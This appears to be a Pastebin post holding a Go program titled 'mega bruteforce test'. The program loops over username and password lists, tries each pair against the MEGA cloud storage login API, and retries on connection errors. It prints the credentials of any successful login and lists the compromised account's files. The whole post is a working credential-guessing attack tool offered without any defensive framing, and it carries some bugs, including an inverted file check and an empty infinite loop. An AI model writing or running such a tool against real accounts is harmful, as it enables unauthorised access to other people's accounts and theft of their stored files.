Advertisement
Guest User

mega bruteforce test

a guest
Apr 9th, 2017
269
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 1.93 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4.     "fmt"
  5.     "io/ioutil"
  6.     "math/rand"
  7.     "os"
  8.     "strings"
  9.     "time"
  10.  
  11.     "github.com/t3rm1n4l/go-mega"
  12.     "github.com/t3rm1n4l/megacmd/client"
  13. )
  14.  
  15. var (
  16.     api = [...]string{"http://eu.api.mega.co.nz", "http://g.api.mega.co.nz"}
  17. )
  18.  
  19. func checkFileExist(filePath string) bool {
  20.     if _, err := os.Stat(filePath); os.IsNotExist(err) {
  21.         return false
  22.     } else {
  23.         return true
  24.     }
  25. }
  26.  
  27. func getContent(file string) ([]string, error) {
  28.     f, err := ioutil.ReadFile(file)
  29.     if err != nil {
  30.         return []string{}, fmt.Errorf("error opening file %v", err)
  31.     }
  32.  
  33.     results := strings.Split(string(f), "\n")
  34.  
  35.     return results, nil
  36. }
  37.  
  38. func main() {
  39.     if checkFileExist(os.Args[0]+"username.txt") && checkFileExist(os.Args[0]+"password.txt") {
  40.         fmt.Println("Error! File not found...!")
  41.         os.Exit(1)
  42.     }
  43.  
  44.     usernames, err := getContent("username.txt")
  45.     if err != nil {
  46.         fmt.Println(err)
  47.         return
  48.     }
  49.     passwords, err := getContent("password.txt")
  50.     if err != nil {
  51.         fmt.Println(err)
  52.         return
  53.     }
  54.  
  55.     for _, u := range usernames {
  56.         for _, p := range passwords {
  57.         retry:
  58.             conf := new(megaclient.Config)
  59.             rand.Seed(time.Now().UTC().UnixNano())
  60.             mega.API_URL = api[rand.Intn(len(api))]
  61.  
  62.             conf.User = u
  63.             conf.Password = p
  64.  
  65.             client, err := megaclient.NewMegaClient(conf)
  66.             if err != nil {
  67.                 fmt.Println(err)
  68.             }
  69.  
  70.             err = client.Login()
  71.  
  72.             if err != nil {
  73.                 if err == mega.ENOENT {
  74.                     fmt.Println("Bad login "+u+":"+p, err)
  75.                     break
  76.                 } else {
  77.                     fmt.Println("Unable to establish connection to mega service", err)
  78.                     time.Sleep(time.Duration(5) * time.Second)
  79.  
  80.                     goto retry
  81.                 }
  82.             }
  83.             fmt.Println("Good Login! " + u + ":" + p)
  84.             paths, err := client.List("mega:/")
  85.             if err != nil && err != mega.ENOENT {
  86.                 fmt.Println("ERROR: List failed ", err)
  87.             }
  88.             if err == nil {
  89.                 for _, p := range *paths {
  90.                     fmt.Println(p.GetPath())
  91.                     for {
  92.                     }
  93.                 }
  94.             }
  95.         }
  96.     }
  97.  
  98. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement